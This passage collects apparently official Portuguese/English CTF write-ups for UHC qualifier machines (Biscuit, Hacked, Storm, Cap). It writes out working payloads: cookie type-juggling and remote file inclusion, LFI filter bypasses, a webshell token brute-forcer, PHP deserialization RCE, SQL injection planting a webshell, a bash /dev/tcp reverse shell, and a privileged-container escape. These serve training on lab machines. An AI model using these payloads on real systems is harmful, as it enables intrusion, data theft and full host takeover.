Primeiro peguei o binario do socat no github deles (socat binary) e passei pra maquina utilizando o web-server que eu criei para conseguir RCE, e dando um curl.

EntΓ£o rodei os comandos que estΓ£o na imagem e consegui uma bind shell! (utilizei a porta 6969)

/assets/biscuit/Untitled%2014.png

E navegando um pouco no / encontramos a prΓ³xima flag:

/assets/biscuit/Untitled%2015.png

PΓ³s Exploitation

Fazendo o bΓ‘sico checklist de priv esc podemos perceber que estamos com o usuΓ‘rio do apache e podemos rodar um script como root na mΓ‘quina:

/assets/biscuit/Untitled%2016.png

Aparentemente nΓ£o podemos ler o script e nem altera-lo.

/assets/biscuit/Untitled%2017.png

O que nos resta Γ© roda-lo:

/assets/biscuit/Untitled%2018.png

Aparentemente ele printa um IP, dando uma olhada no /var/www/html o path da aplicação web podemos perceber que existe um arquivo com o mesmo ip que ele printou, então aparentemente ele estÑ printando o IP que estÑ no arquivo.

/assets/biscuit/Untitled%2019.png

Abri o arquivo com o nano (antes rodar β€˜export TERM=xterm’ !!) e comeΓ§ei a edita-lo para tentar retornar algum erro no python que me mostre alguma coisa do programa.

/assets/biscuit/Untitled%2020.png

/assets/biscuit/Untitled%2021.png

Interessante, aparentemente existe um format string diferente (pouco usado) rodando.

Pesquisando sobre esse tipo de format string + vulnerabilites acabei tropeçando nesse artigo.

Are there any Security Concerns to using Python F Strings with User Input

Basicamente nele explica-se tudo o que precisamos fazer, por isso nΓ£o vou explicar direitinho, mas basicamente a forma que esse format string funciona nos permite injetar mais strings para serem formatadas, e se isso Γ© printado podemos printar todas as vΓ‘riaveis globais que o arquivo usa, normlamente dando alguma key ou senha para nΓ³s. (Para quem nΓ£o entende muito bem inglΓͺs Γ© sΓ³ traduzir que fica tranquilo de entender).

Ok entΓ£o vamos a payload.

{"ips":["{ip.list_blocked.__globals__}"]}

/assets/biscuit/Untitled%2022.png

Aparentemente funcionou e conseguimos o valor de uma vΓ‘riavel chamada root_secret, provavelmente Γ© a senha do root.

/assets/biscuit/Untitled%2023.png

Worked!!

Obrigado a vocΓͺ que leu atΓ© aqui, parabΓ©ns cadu pela mΓ‘quina, e desclupe por algum erro no write-up, fiz correndo >_>

UHCCTF (ClassificatΓ³ria) - Biscuit (Official Write-Up) - eng

Hello, I’m Vinicius (big0us), this is a write-up of a machine that was the challenge for one of UHC’s qualifiers. (translate to english by 0day) Happy reading :) g00d_h4ck1ng

Recon

/assets/biscuit/Untitled.png

The first page you’re greeted with a login page, taking a look at the HTML of the page, apparently there’s nothing hidden, I’ll fuzz first, then we can test some credentials.

/assets/biscuit/Untitled%201.png

Apparently our fuzzing only showed a /class, where there is a directory listing pointing to a β€œ.php” file.

/assets/biscuit/Untitled%202.png

Okay, let’s test some default credentials in the login form:

admin:admin
guest:guest
administrator:admin
root:root

By testing β€œguest:guest” we were able to enter:

/assets/biscuit/Untitled%203.png

Looking around apparently, we only have a welcome page. Let’s check our cookies.

/assets/biscuit/Untitled%204.png

/assets/biscuit/Untitled%205.png

Using cyberchef to decode the cookie, we can see that it’s JSON with three values: hmac (probably something that validates the values), username, and a time for the cookie to expire.

I’m going to try to change the username value in the cookie to β€œadmin” with base64 & URL encoding, and then send back to the application.

/assets/biscuit/Untitled%206.png

This page showed an error saying that we’re trying to do β€œcookie tampering”, and returned a flag! The first flag. After some tests, sending cookies with other random values, I realized that the application validates the cookie by the value of hmac, and not by the entire content of json. A well-known vulnerability about PHP validations is type-juggling, which consists of bypassing authentications by making any if($ == $) that will always return β€œtrue”.

PHP Tricks (SPA)

PHP Type Juggling Vulnerabilities

/assets/biscuit/Untitled%207.png

Basically when a programmer uses β€œ==” in a php comparison, first it makes the two values the same type, ignoring the type (int, str…) of the variables. And in this situation we can use some techniques for the comparison to return β€œtrue”.

Exploitation

After trying for quite a while, I tried changing the value of β€œhmac” to β€œtrue” and luckily it worked!

/assets/biscuit/Untitled%208.png

{"hmac":true,"username":"admin","expiration":1625435484}

/assets/biscuit/Untitled%209.png

Okay :( I was sad that there are no flags here. I’ll try to change the username again, to understand what’s going on.

Changing to β€œtest”, php gives us an error, it seems it’s running a β€œrequire_once” on the value we put & appending β€œ.php” at the end. require_once is normally used to include pages and php files in websites, and when the user has control over the value that require_once uses, the application is vulnerable to LFI or RFI (Local/Remote File Inclusion).

/assets/biscuit/Untitled%2010.png

As the application already puts the .php at the end, I will do the following. Upload a file with a webshell on a server using ngrok, then tell the application to include my file and get an RCE.

/assets/biscuit/Untitled%2011.png

And I will send the payload:

{"hmac":true,"username":"https://3b4f8afabab2.ngrok.io/shell","expiration":1625435484}

(The application now puts the .php)

We have RCE!!

/assets/biscuit/Untitled%2012.png

Now I’m going to try to get a reverse shell. After a few attempts I realized that there is a firewall in the application that blocks any communication on ports other than 80 or 443, since I don’t have a VPS, I’ll do it differently, instead of a reverse shell (where the victim connects back to me) I’m going to use a bind shell (opening a port on the machine and connecting to it). For this I will use β€œsocat”.

[socat GTFOBins](https://gtfobins.github.io/gtfobins/socat/#bind-shell)

/assets/biscuit/Untitled%2013.png

First I got the socat binary in their github (socat binary) and passed it to the machine using the web-server that I created to get RCE, and curling it. I ran the commands that are in the image and got a bind shell! (I used port 6969)

/assets/biscuit/Untitled%2014.png

In β€œ/” have our next flag:

/assets/biscuit/Untitled%2015.png

Post Exploitation

Doing the basic privesc checklist, we can see that we are the apache user and we can run a script as root on the machine:

/assets/biscuit/Untitled%2016.png

Apparently we can’t read the script or change it.

/assets/biscuit/Untitled%2017.png

What’s left for us to do, is to simply RUN IT!:

/assets/biscuit/Untitled%2018.png

The file prints an IP with option 2 (List Blocked IP’s), taking a look at /var/www/html the web application path, we can see that there is a file with the same IP that was printed, so it’s printing the IP that is in the file.

/assets/biscuit/Untitled%2019.png

I opened the file with nano (before running β€˜export TERM=xterm’ !!) and started editing it, to try and provoke some type of error in python that would show me something from the program.

/assets/biscuit/Untitled%2020.png

/assets/biscuit/Untitled%2021.png

Interestingly, there is a different (not used often) format string running. Searching about this type of format string + vulnerabilites, I ended up stumbling on this article.

Are there any Security Concerns to using Python F Strings with User Input

Basically it explains everything we need to do, so I won’t explain it again, but the way this format string works, allows us to inject more strings to be formatted, and if this is printed we can print all the global variables that the file uses, usually giving us some key or password.

Okay here is my final payload.

{"ips":["{ip.list_blocked.__globals__}"]}

/assets/biscuit/Untitled%2022.png

This worked and we got the value of a variable called root_secret, it’s probably the root password.

/assets/biscuit/Untitled%2023.png

Worked!! Thanks to you who’ve read this far, I hope you enjoyed this challenge / writeup!

UHCCTF (ClassificatΓ³ria) - Hacked (Official Write-Up)

Essa mΓ‘quina foi feita por mim com ajuda dos meus amigos Luska e Kadu para o UHC. Os arquivos dela e o Dockerfile estarΓ£o no meu GitHub.

Recon

A primeira pΓ‘gina Γ© uma linda arte (uma deface), dizendo que o site foi hackeado:

/assets/hacked/Untitled.png

Logo de cara temos uma flag, essa eu nΓ£o censurei pois Γ© literalmente abrir o site. Lendo o source code da pΓ‘gina nΓ£o encontrei nada, como esse arquivo deve ser o index vamos rodar um fuzzing no site para achar mais arquivos e diretΓ³rios. Utilizei o ffuf com as wordlists do seclists.

common.txt:

/assets/hacked/Untitled%201.png

De costume vou testar esse /uploads/, mas deu 404 😒

raft-small-files.txt:

/assets/hacked/Untitled%202.png

Parece que encontramos um tambΓ©m β€œhome.php” vamos dar uma olhada:

/assets/hacked/Untitled%203.png

Um site sobre customização de carros, vamos dar uma navegada no site para ver se encontramos algo interessante:

Logo percebemos que quando clicamos nos botΓ΅es ali no cabeΓ§alho nΓ£o somos redirecionados para a pΓ‘gina deles, e sim a pΓ‘gina deles Γ© β€œincluΓ­da” em um parΓ’metro GET no home.php:

/assets/hacked/Untitled%204.png

Isso parece estar vulnerΓ‘vel a Local File Inclusion (LFI), uma vulnerabilidade que permite ao atacante incluir ou ler arquivos do servidor…

(Agora vai ter uma divisΓ£o no write-up para vocΓͺ que fez a mΓ‘quina no dia do uhc ou no UHCLABS ou se vocΓͺ estiver rodando no docker. Se vocΓͺ estiver no docker ou localmente sem nenhum WAF Γ© sΓ³ pular a prΓ³xima parte β€œWAF bypass”)

Exploitation

LFI

No UHC havia um WAF do cloudfare, e isso impossibilitou ler arquivos do servidor completamente, então vamos seguir com a exploração do nosso LFI, vamos fazer um teste tentando incluir o nosso home.php alterando a URL para: (apenas home pois nas outras pÑginas ele auto completa o .php):

https://hacked.uhclabs.com/home.php?page=home

/assets/hacked/Untitled%205.png

/assets/hacked/Untitled%206.png

A pΓ‘gina ficou duplicada, e no source podemos comprovar isso, porΓ©m, se a pΓ‘gina Γ© um php que inclui outras pΓ‘ginas, onde estΓ‘ as tags php e o cΓ³digo php para nΓ³s vermos como isso funciona?

Ai Γ© que estΓ‘ o WAF (Web Application Firewall) estΓ‘ omitindo o cΓ³digo php do nosso arquivo. EntΓ£o teremos de fazer um Bypass do WAF e acessar diretamente o ip do servidor, e para isso vamos aproveitar nosso LFI.

Exploitation Bypass WAF

Para explorar esse bypass utilizaremos os wrappers do php. (https://www.php.net/manual/en/wrappers.php)

/assets/hacked/Untitled%207.png

Vamos usar o wrapper do ftp para fazer o site fazer uma requisição para o nosso IP como se fosse se conectar ao ftp assim nos indicando qual é o IP real do servidor.

Na minha mΓ‘quina:

nc -lvp 4444

Payload:

https://hacked.uhclabs.com/home.php?page=ftp://IP:PORT/x

Recebemos:

/assets/hacked/Untitled%208.png

Esses servidores ec2 da amazom para pegar o ip Γ© sΓ³ pegar esses nΓΊmeros da url: 34.219.224.183

Vamos acessar e rodar a inclusΓ£o do home.php e deve funcionar.

/assets/hacked/Untitled%209.png

Apenas trocando a URL por home ele automaticamente adicionou o .php e nos mostrou o conteΓΊdo do arquivo home.php.

Lendo esse código podemos perceber que ele tem algumas proteçáes quanto a algumas coisas. Vamos tentar ler arquivos do servidor no caso o clÑssico /etc/passwd:

(../ serve para voltar diretΓ³rios)

/assets/hacked/Untitled%2010.png

/assets/hacked/Untitled%2011.png

Pelo o que podemos ver retornou um erro, que podemos entender jΓ‘ que temos o cΓ³digo. Da nossa payload ele retirou todos os β€œ../” e substituiu por β€œβ€ (nada) , ele retirou a palavra β€œpasswd” e trocou por β€œERROR” e por fim adicionou β€œ.php” no final, logo o arquivo nΓ£o existe e ele nΓ£o mostra o conteΓΊdo.

Lendo o cΓ³digo podemos ver que a proteção de β€œ../” estΓ‘ vulnerΓ‘vel a um bypass que consiste em escrever uma palavra dentro da outra:

pal(palavra)avra -> palpalavraavra
.(../)./ -> ..././

Assim quando o cΓ³digo retirar a primeira palavra ele vai concatenar a palavra proibida passando o que queremos.

Para bypassarmos o ERROR nΓ£o vamos conseguir, portando vamos ler outro arquivo que nΓ£o esteja na nossa blackllist como /etc/hosts.

Agora o .php no final, tem uma linha no cΓ³digo que diz que se existir um parΓ’metro GET chamado β€œext” ele vai usar o que estiver nele para completar a extensΓ£o do arquivo, e se o parΓ’metro nΓ£o estiver setado ele vai adicionar .php no final. Logo o que temos que fazer Γ© setar o parΓ’metro ext para β€œβ€œ(nada).

Vamos a payload:

34.219.224.183/home.php?page=..././..././..././..././..././etc/hosts&ext=

Conseguimos!

/assets/hacked/Untitled%2012.png

Bom agora parece que teremos que ler algum arquivo do servidor, poderΓ­amos fazer um fuzzing usando o LFI ou refazer nosso fuzzing novamente e usar o LFI para ler os arquivos. Rodei a wordlist raft-large-words.txt com a extensΓ£o php. (Usei um filtro de tamanho do ffuf β€œ-fs 283”)

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -u 'https://hacked.uhclabs.com/uploads/FUZZ' -e .php 

/assets/hacked/Untitled%2013.png

Parece que encontramos a webshell que o hacker usou para invadir esse sistema, vamos dar uma olhada nela e ao mesmo tempo usar o nosso LFI para ler ela. Opa achamos uma flag!

/assets/hacked/Untitled%2014.png

/assets/hacked/Untitled%2015.png

Exploitation

Part2

Pelo jeito Γ© uma webshell com senha:

<?php
$pass1 = $_GET['pass1'];
$pass2 = $_GET['pass2'];
$secret = file_get_contents('../../secret'); // /var/www
$hmac_client = hash_hmac('sha256', $pass1, $pass2);
$hmac_server = hash_hmac('sha256', 'Gu%40$!mN0123', $secret);
$hmac_server =  (int)$hmac_server;
if($_COOKIE['token']){
    $hmac_client = $_COOKIE['token'];
}; 

if($hmac_client == $hmac_server):
    setcookie('token', $hmac_client);
?>

Esse Γ© o cΓ³digo, dando uma olhada ele faz uma hash usando a senha1(Gu%40$!mN0123) e a senha2 (conteΓΊdo do ../../secret), e ele compara essa hash com a hash feita com os valores que o usuΓ‘rio passa via GET, porΓ©m existe um (int) que transforma a hash do servidor em um valor inteiro. Vamos reproduzir isso localmente…

<?php
$secret = "anything";
$hmac_server = hash_hmac('sha256', 'Gu%40$!mN0123', $secret);
echo "hash: ";
echo $hmac_server;
echo " ";
echo "int: ";
echo (int)$hmac_server;
?>

Retorna:

/assets/hacked/Untitled%2016.png

Aqui vemos como essa conversΓ£o da hash para um numero inteiro funciona, o php pega entΓ£o os primeiros nΓΊmeros da hash com o (int) e compara com o valor passado pelo usuΓ‘rio, outra coisa legal Γ© que o usuΓ‘rio pode passar esse valor via COOKIE…, logo poderemos declarar nosso cookie β€œtoken” para algum nΓΊmero inteiro e a comparação ira dar TRUE.

if($hmac_client == $hmac_server): // vulnerable

Vamos então encontrar um número inteiro que consiga gerar TRUE na comparação e bypassar a autenticação da webshell. Podemos ver no código que existe um parÒmetro POST chamado cmd que é usado quando a autenticação retorna TRUE , e esse parÒmetro é o código que serÑ executado na webshell. Pensando nisso escrevi um exploit em python para fazer um bruteforce de valores numéricos no cookie até conseguir a autenticação e por fim rodar o comando que eu quiser na mÑquina.

import requests
import sys
cmd = sys.argv[1]
url = "http://34.219.224.183/uploads/webshell.php"
for num in range(0, 1000):
        token = num
        print("[INFO] Testing: ", token)
        cookies = {'token': str(token)}
        r = requests.get(url, cookies=cookies)
        if len(r.text) != 565:
                print("[EXPLOIT] Token:", token, "CMD:", cmd)
                payload = {'cmd': cmd}
                a = requests.post(url, data=payload, cookies=cookies)
                print(a)

/assets/hacked/Untitled%2017.png

Funcionou o cookie que comeΓ§a com 9, mesmo ja tendo RCE, vamos setar o cookie e ver a webshell…

Apenas setei o cookie para 9:

/assets/hacked/Untitled%2018.png

Uma webshell muito linda! Agora que temos RCE vamos pegar uma shell.

Exploitation

Part3

Habemos Shel!

Eu utilizei um site para pegar a shell porΓ©m, eu poderia ter usado tambΓ©m o https://www.revshells.com/ que Γ© um gerador de comandos, para pegar uma shell, eu apenas coloco as informaçáes e ele gera a payload para eu mandar para o servidor πŸ˜‰.

/assets/hacked/Untitled%2019.png

Full tty shell
in your rev-shell~ python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL + Z
in your terminal~ stty raw -echo; fg
ENTER
in your rev-shell~ export TERM=xterm

Fazendo um recon bΓ‘sico com o β€œsudo -l” podemos ver que conseguimos rodar um programa com um outro usuΓ‘rio na maquina sem senha.

/assets/hacked/Untitled%2020.png

No caso o programa que podemos rodar Γ© o cowsay:

/assets/hacked/Untitled%2021.png

Dando uma olhada no GTFObins podemos ver como funciona o priv esc utilizando o cowsay:

/assets/hacked/Untitled%2022.png

/assets/hacked/Untitled%2023.png

Basicamente o argumento -f no cowsay nos permite setar o β€œestilo” da vaquinha, porΓ©m esse estilo Γ© um script em perl, logo podemos escrever um template malicioso e mandar o cowsay executar, agora vamos apenas fazer isso.

/assets/hacked/Untitled%2024.png

Agora como usuΓ‘rio john rodando um β€œls -la” na home dele podemos encontrar a prΓ³xima flag:

/assets/hacked/Untitled%2025.png

Exploitation

Part4

Rodando novamente o β€œsudo -l” podemos rodar /bin/sh como root sem senha, entΓ£o bora la pegar esse root!

/assets/hacked/Untitled%2026.png

UΓ©, cade a flag? Esse root nΓ£o foi muito facil?

/assets/hacked/Untitled%2027.png

Parece que estamos dentro de um docker e teremos que escapar dele, eu poderia testar algumas formas manuais de verificar como vamos fazer isso porΓ©m rodei uma tool chamada deepce que ja me deu uma dica de um possΓ­vel vetor de ataque…

/assets/hacked/Untitled%2028.png

/assets/hacked/Untitled%2029.png

Pelo jeito estamos em um container privilegiado, isso significa que podemos montar os arquivos do host dentro do nosso container ou atΓ© mesmo executar comandos no host.

Vamos rodar um: (Para visualizar os discos do servidor do host)

fdisk -l

E entΓ£o montar o disco no nosso container:

mkdir -p /mnt/a
mount /dev/xvda1 /mnt/a

Agora vamos usar o chroot aonde montamos o disco:

/assets/hacked/Untitled%2030.png

E conseguimos! mais uma flag de brinde!

Espero que tenham gostado, para vocΓͺ que leu atΓ© aqui, obrigado!

H4ckTh3Pl4n3t!

UHCCTF (ClassificatΓ³ria) - Storm

Essa mΓ‘quina foi feita pelo Kadu para a classificatΓ³ria do UHCv34.

Recon

A pΓ‘gina inicial dessa maquina Γ© apenas uma foto de uma tempestade gigante, e podemos comprovar isso vendo o source code…

/assets/storm/Untitled.png

/assets/storm/Untitled%201.png

Como de costume em todos os recons, vamos fazer um fuzzing em busca de diretΓ³rios e arquivos, utilizarei o ffuf com as wordlists β€œcommon.txt” e β€œquickhits.txt”.

common.txt:

/assets/storm/Untitled%202.png

Encontramos duas coisas interessantes, info.php e config.php:

  • info.php: parece que tem um phpinfo() rodando ai…, interessante para pegarmos algumas informaçáes de versΓ£o de serviΓ§os e software, alΓ©m de informaçáes sobre a configuração do servidor. (Pesquisei por exploits para os serviΓ§os porΓ©m nada foi encontrado 😒)

/assets/storm/Untitled%203.png

  • config.php

Ops! (Status code 200, muito estranho, rs)

/assets/storm/Untitled%204.png

quickhits.txt:

/assets/storm/Untitled%205.png

Opa! No meio de vΓ‘rios falsos positivos encontramos um arquivo chamado β€œ.config.php.swp”, parece ser um arquivo de swap do vim (gerado quando se abre um arquivo no vim, no caso o que foi aberto foi o config.php).

/assets/storm/Untitled%206.png

Como podemos ver Γ© o cΓ³digo php do arquivo β€œconfig.php”.

Observando com o Ctrl+U (View-Source) podemos ver a primeira flag!

/assets/storm/Untitled%207.png

Parece que teremos de fazer um code review nesse cΓ³digo e entender aquele Access Denided que recebemos no config.php…

Para melhorar nossa visualização vamos tentar recuperar esse arquivo usando o próprio vim:

wget https://storm.uhclabs.com/.config.php.swp #download the file
vim -r .config.php.swp #recover the file

Agora apenas dei enter.

/assets/storm/Untitled%208.png

Lets debug friends!

/assets/storm/Untitled%209.png

(Essa parte do write-up vai exigir o bΓ‘sico de php, tentarei explicar da melhor forma, mas se vocΓͺ nΓ£o entende muito de php, um aviso, vocΓͺ vai ficar meio doido)

Code Review

Para entender eu recomendo fortemente que vocΓͺ reproduza o ambiente na sua mΓ‘quina!

Aqui estΓ‘ o motivo de recebermos acesso negado!

/assets/storm/Untitled%2010.png

Eu reproduzi o ambiente localmente, ai vai meu cΓ³digo comentado para entendermos:

(Amigos brasileiros, desculpa por estar em inglΓͺs, Γ© para o pessoal poder entender o cΓ³digo)

<?php
//my reproduce script
Class UHCProtocol{                   //declare a new class 
    public $data;
    public function __wakeup(){      //exploitable function by insecure deserealization**
    $this->add();
    }
    public function add(){
        return call_user_func($this->data, $_SERVER['QUERY_STRING']); //call a function with value of $data and use arguments with value in query string of the http request
    }

if($_SERVER['REQUEST_METHOD'] == "PUT"){  //verify type of the request, in case we have to use PUT

$raw = file_get_contents("php://input"); //put on $raw all contents of request body (php://input is the request body)

    if(strpos($raw, "::") !== false){ //verify if have "::" on $raw content and if yes return true
        $call = explode("::", $raw); //separte in a array $raw by "::" and put this on array named $call
        $badfuncs = ['system', 'aaaa'];  //declare a array with denided functions

        if(in_array($call[0], $badfuncs)){ //verify if in first part of $raw, before :: ($call[0]) have any of denides functions
            die("Denied Func!"); //if yes, die() with a message "Denied Func!"
        }
        if(strpos($call[1], "|") !== false){ //verify if in second part of $raw, after :: ($call[1]) have a "|"
            $data = explode("|", $call[1]); //if yes separate $call[1] by | and put this on a array named $data
            call_user_func_array($call[0], $data); //call a function with $call[0] value and $data value in arguments
        }else{ //if not...
            call_user_func($call[0], $call[1]); //call a function with $call[0] value and $call[1] value in arguments
        }
    }
}
?>

Basicamente o que temos que fazer para comeΓ§ar a testar Γ© mandar um request PUT e nos valores do body passar nossa payload contendo β€œ::”. Dando uma lida sobre como usar a função call_user_func do php podemos perceber que o primeiro argumento Γ© o nome da função que queremos rodar, e o segundo argumento sΓ£o os valores a serem passados para essa função, exemplo:

call_user_func("print_r", "hello"); //will print "hello"

Como podemos observar no nosso cΓ³digo comentado, se seguirmos as validaçáes do if, o cΓ³digo deverΓ‘ executar uma função que colocarmos antes do β€œ::” e os argumentos serΓ£o os valores que colocarmos depois do β€œ::”.

print_r::hello

Vamos abrir o burp e enviar esse PUT contendo nossa payload.

/assets/storm/Untitled%2011.png

Recebemos Access Denided!, isso deve ser pelo fato de estarmos acessando o config.php, vamos entΓ£o pensar, para que um script β€œconfig.php’ Γ© usado? para setar todas as variΓ‘veis e classes de configuração do site, portando outras pΓ‘ginas do site dΓ£o um include nele…

Vamos mandar o request para index.php, ja que provavelmente ele inclui o config.php no cΓ³digo…

/assets/storm/Untitled%2012.png

Deu certo, bom agora vamos ver o que podemos fazer com isso, usar funçáes para ler arquivos (LFI), rodar funçáes de sistema? Não pois elas estão sendo checadas na nossa payload, então o que vamos fazer?

Lembram do comentÑrio na função wakeup da classe?

O que vamos ter que fazer é uma desseralização insegura!

Exploitation

RCE

Deserialization

Recomendo quem nΓ£o souber do que se trata dar uma pesquisada em alguns artigos.

Aqui vai o cΓ³digo da classe vulnerΓ‘vel:

Class UHCProtocol{
    public $data;
    public function __wakeup(){
    $this->add();
    }
    public function add(){
        return call_user_func($this->data, $_SERVER['QUERY_STRING']);
    }
}

Observem a função wakeup, ela é uma função que recebe o nome de função mÑgica. Toda vez que no php um objeto é desserealizado essa função é chamada.

Nessa classe a função wakeup estÑ executando a função add() que por sua vez tem um call_user_func que recebe os valores $data e os valores contidos na query do request (http://website.com/index.php?this-is=a-query).

O valor de $data vai ser o nome da função que o call_user_func vai executar e os calores da query serΓ£o os argumentos…

Ok, temos o código vulnerÑvel a desserealização, mas onde tem um objeto para ser desserealizado?

Simples! Se lembram do nosso β€œpoder” de executar funçáes com o nosso body malicioso no request PUT? Vamos um β€œunserealize” com os argumentos sendo um objeto modificado por nΓ³s.

Esse objeto modificado terÑ que ter o nome da função que iremos rodar com o valor de $data, portanto vamos apenas escrever um script para serializar uma classe modificada.

<?php
Class UHCProtocol{
    public $data = "print_r";
    public function __wakeup(){
    $this->add();
    }
    public function add(){
        return call_user_func($this->data, $_SERVER['QUERY_STRING']);
    }
}
$object = new UHCProtocol();
echo serialize($object);
?>

/assets/storm/Untitled%2013.png

Agora vamos desserealizar isso e passar os argumentos na query da URL:

/assets/storm/Untitled%2014.png

Conseguimos! Com isso não precisamos nos importar com as funçáes proibidas do config.php, jÑ que nosso $data não passa por nenhum tipo de validação.

Porém vamos ver no info.php se tem alguma função que não tenha sido desabilitada que possa permitir um RCE.

/assets/storm/Untitled%2015.png

Dando uma olhada, parece que a função β€œexec” estΓ‘ liberada, vamos testar, porΓ©m Γ© importante lembrar que a função exec nΓ£o possui output, logo vamos rodar um β€œsleep” para ver se o cΓ³digo foi executado.

/assets/storm/Untitled%2016.png

Parece que deu certo, utilizei ${IFS} pois é um bypass para dar um espaço no linux.

Temos RCE, agora vamos pegar uma reverse shell!

PΓ³s-exploitation

Root

/assets/storm/Untitled%2017.png

Habemos shell!

Full tty shell
in your shell~ python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL + Z
in your terminal~ stty raw -echo; fg
ENTER
in your shell~ export TERM=xterm

E dando uma olhada no β€œ/”, habemos flag!

/assets/storm/Untitled%2018.png

Fazendo um recon normal de pΓ³s exploitation, consegui achar algumas coisas interessantes, a mais especial, um script com permissΓ£o de SUID chamado β€œstorm” no / :

/assets/storm/Untitled%2019.png

Rodando ele parece que ele tem alguma palavra certa para se usar, como uma senha:

/assets/storm/Untitled%2020.png

Vamos usar o Ghidra para analizar o programa baixando para a nossa mΓ‘quina e fazendo uma engenharia reversa para ver como ele estΓ‘ funcionando:

/assets/storm/Untitled%2021.png

Esse Γ© o cΓ³digo decompilado pelo ghidra, o programa recebe um valor digitado pelo usuΓ‘rio pelo scanf e compara esse valor a uma string com o strcmp(), e entΓ£o dependendo do que retornar dessa comparação ele vai executar um sleep e uma função chamada shell ou vai executar um print dizendo β€œInvalid cloud name”.

O que tem na função shell?

/assets/storm/Untitled%2022.png

Lembram que o programa tinha o capability de SUID? Nessa função shell ele seta o UID para 0 (root) e chama uma shell, isso significa que se a nossa comparação retornar true (se digitarmos a palavra certa), o programa vai nos dar uma shell de root.

Vamos dar uma olhada nessa comparação novamente.

iVar1 = strcmp("__libc_csu_fini",acStack200); 

Perceberam? Γ‰ uma string, o prgrama verifica se no input do usuΓ‘rio existe β€œ__libc_csu_fini”, logo, temos a β€œsenha”! Vamos usar.

/assets/storm/Untitled%2023.png

Depois de um tempo (por conta do sleep), o programa nos da uma shell de root!

Na home do root encontrei a flag!

/assets/storm/Untitled%2024.png

Γ‰ isso, obrigado por ler atΓ© aqui, e parabΓ©ns kadu pela mΓ‘quina!

UHCCTF (ClassificatΓ³ria) - Cap

Essa mΓ‘quina foi feita pelo Kadu para a classificatΓ³ria do UHCv35.

Recon

Iniciando o desafio e pegando a url podemos observar que ele tem uma pΓ‘gina um tanto quanto estranha, parece ser uma API, jΓ‘ que retorna um objeto JSON:

/assets/cap/Untitled.png

Vamos entΓ£o partir direto para o fuzzing, vou rodar a wordlist common.txt e a quiclhits.txt:

common.txt:

/assets/cap/Untitled%201.png

quickhits.txt:

/assets/cap/Untitled%202.png

Achamos um arquivo de backup! Vou baixar e abrir no visual studio code.

/assets/cap/Untitled%203.png

Hora de debugar!

Esse código basicamente é uma tentativa de um tipo de API para interagir com algum tipo de banco de dados, ele pega informaçáes de databases e é capaz de inserir informaçáes também, podemos perceber que ele usa um micro framework chamado Slim. (https://www.slimframework.com/docs/v2/)

Essa parte envolve muito code review, que Γ© inclusive o nome do challenge da primeira flag. Fui testando tudo e lendo os erros (debug mode estava ativo).

Dando uma lida e debugando um pouco podemos perceber que existe uma rota dessa api que faz uma consulta no banco de dados na tabela usuarios.

Rota:

https://cap.uhclabs.com/_ul/uploads/0

CΓ³digo:

/assets/cap/Untitled%204.png

Basicamente aonde estΓ‘ escrito :controller Γ© aonde vamos inserir o nome do arquivo que contΓ©m a classe que vamos usar, no caso vamos ussar o usuarios.class.php, e :parametrer sera o $data que serΓ‘ passado na query da consulta como podemos ver aqui:

/assets/cap/Untitled%205.png

Agora vamos rodar:

Testei alguns ids e no 2 temos a primeira flag hehe:

/assets/cap/Untitled%206.png

Certo, como podemos perceber no cΓ³digo, nossos parΓ’metros nΓ£o passam por nenhum tipo de tratamento, obviamente o site estΓ‘ vulnerΓ‘vel a Sql injection.

/assets/cap/Untitled%207.png

EntΓ£o vamos ver o que podemos fazer aqui.

Exploitation

Sql Injection

Podemos observar que o banco de dados usado Γ© o MariaDB.

Vamos começar tentando mandar querys para a aplicação.

Para demonstrar o que estΓ‘ acontecendo irei mostrar as payloads e como a query estΓ‘ sendo executada no site.

  • A primeira coisa que irei fazer vai ser tentar adicionar um usuΓ‘rio, ja que temos o cΓ³digo sabemos o nome da tabela…
cap.uhclabs.com/_ul/usuarios/1;insert%20into%20usuarios%20(nome)%20values%20('big0us')

Com um Url encode na nossa payload se enviarmos, a query ficarΓ‘ assim:

SELECT * from usuarios where id=1; insert into usuarios (nome) values ('big0us');

Enviando mais algumas vezes podemos ver que nosso usuΓ‘rio jΓ‘ estΓ‘ no banco de dados com a seguinte rota:

cap.uhclabs.com/_ul/usuarios/0
  • No MariaDB existe um comando que possibilita salvar o resultado da query em um arquivo…
  • Lendo o cΓ³digo fonte, podemos abrir arquivos que estiverem no /classes/ apenas enviando um request POST, com o nome do arquivo sem o .classes e sem o .php…

/assets/cap/Untitled%208.png

  • Se pudermos salvar arquivos de consultas de querys em qualquer diretΓ³rio e podemos escrever e rodar arquivos no servidor, temos tudo para conseguir um RCE. Mas como?
  • (Existem vΓ‘rias formas de fazer isso vou descrever como eu fiz)
  • JΓ‘ que posso criar um usuΓ‘rio, vou criar um usuΓ‘rio contendo um cΓ³digo php no nome, assim quando eu jogar isso para dentro de um arquivo, serΓ‘ executado… EntΓ£o vamos as payloads:

URL:

cap.uhclabs.com/_ul/usuarios/1;1%3Bselect%20into%20usuarios%20%28nome%29%20values%20%28%27%3C%3Fphp%20system%28%24%5FGET%5B0%5D%3F%3E%27%29%29

Query:

select into usuarios (nome) values ('<?php system($_GET[0]?>'))

E agora com o usuΓ‘rio criado, vamos fazer uma consulta que retorne o nome do usuΓ‘rio, e salvar isso em um arquivo… (dei o nome de β€œu”)

URL:

cap.uhclabs.com/_ul/usuarios/1%3Bselect%20%2A%20from%20usuarios%20into%20outfile%20%27%2Fvar%2Fwww%2Fhtml%2Fclasses%2Fu%2Eclass%2Ephp%27

Query:

select * from usuarios into outfile '/var/www/html/classes/u.class.php'

Agora que jΓ‘ montamos nosso arquivo malicioso vamos ao request:

/assets/cap/Untitled%209.png

Agora que temos RCE vamos pegar uma shell.

PΓ³s exploitation

Root Capability

Utilizei uma payload simples encodada em url encode:

bash -c "bash -i >& /dev/tcp/ip/porta 0>&1"

/assets/cap/Untitled%2010.png

Full tty shell
in your shell~ python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL + Z
in your terminal~ stty raw -echo; fg
ENTER
in your shell~ export TERM=xterm

Indo atΓ© o / podemos encontrar nossa flag!

/assets/cap/Untitled%2011.png

Rodando alguns comandos de enumeração logo pude encontrar qual é a vulnerabilidade do priv esc (o linpeas teria achado), o comando que eu rodei para encontra-la é o getcap, que mostra para nós os capabilities que os binÑrios do linux possuem.

Linux Capabilities

